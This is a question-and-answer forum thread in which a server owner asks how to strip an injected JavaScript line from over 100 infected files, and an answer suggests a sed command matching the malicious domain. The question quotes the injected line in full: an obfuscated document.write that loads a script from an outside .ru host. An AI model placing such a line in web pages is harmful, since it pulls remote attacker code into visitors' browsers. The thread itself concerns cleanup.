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Editorial Team
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Asked: 2026-05-17T22:33:45+00:00

Recently my linux server got infected with malware and as a result, I have

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Recently my linux server got infected with malware and as a result, I have 100+ files infected with a single line of Javascript code:

document.write('<sc'+'ript type="text/javascript" src="http://alienradar.ru/Kilobyte.js"></scri'+'pt>');

I would be too tiring to remove it manually, so I dig into google (not knowing much about linux did not help there) and found out that I can use sed for this purpose.

Unfortunately, I couldn’t escape the line so I could use 

sed -i.bak '/line of text/d' *

syntax, it’s full of single quotes, double quotes and backslashes.

How could I escape the string or is there any other – easier – way of doing this?

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1 Answer

  1. Editorial Team

    Could you not just use sed to delete any line containing, for example, alienradar.ru, or some other substring which only exists in the offensive lines ? Something like:

    sed -i.bak '/alienradar.ru/d' *
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